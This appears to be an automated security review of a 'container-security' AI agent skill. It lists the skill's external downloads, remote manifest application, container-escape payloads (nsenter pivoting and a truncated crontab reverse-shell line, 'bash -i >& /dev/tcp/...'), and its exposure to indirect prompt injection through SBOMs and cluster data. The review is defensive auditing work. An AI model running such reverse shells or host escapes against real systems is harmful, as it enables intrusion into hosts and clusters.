The Agent Skills Directory

[EXTERNAL_DOWNLOADS]: The skill fetches an installation script for Kubescape from its official GitHub repository (kubescape/kubescape). This is a common pattern for installing this specific security tool.
[REMOTE_CODE_EXECUTION]: The workflow for auditing clusters downloads and applies a Kubernetes Job manifest for kube-bench directly from Aqua Security's official repository (aquasecurity/kube-bench). This allows the agent to run CIS benchmarks within the cluster environment.
[COMMAND_EXECUTION]: The skill contains references and payloads for container escapes, including the use of nsenter to pivot to host namespaces and a crontab entry for a reverse shell (bash -i >& /dev/tcp/...). These are explicitly documented as proof-of-concept scripts for authorized penetration testing and educational purposes.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to process external data sources such as SBOMs (Software Bill of Materials), Dockerfiles, and live Kubernetes cluster resources, which represents a potential attack surface for indirect prompt injection.
Ingestion points: Reads and diffs SBOM files (e.g., prior.cdx.json, current.cdx.json) and scans live manifests from the Kubernetes API.
Boundary markers: None explicitly present in the workflows to delimit untrusted data from instructions.
Capability inventory: The skill has significant capabilities including executing shell commands, interacting with the Kubernetes API, and running various security scanners.
Sanitization: The skill relies on external security tools (Trivy, Grype) to parse the data, but the agent itself is instructed to reason over and summarize these findings in reports.

container-security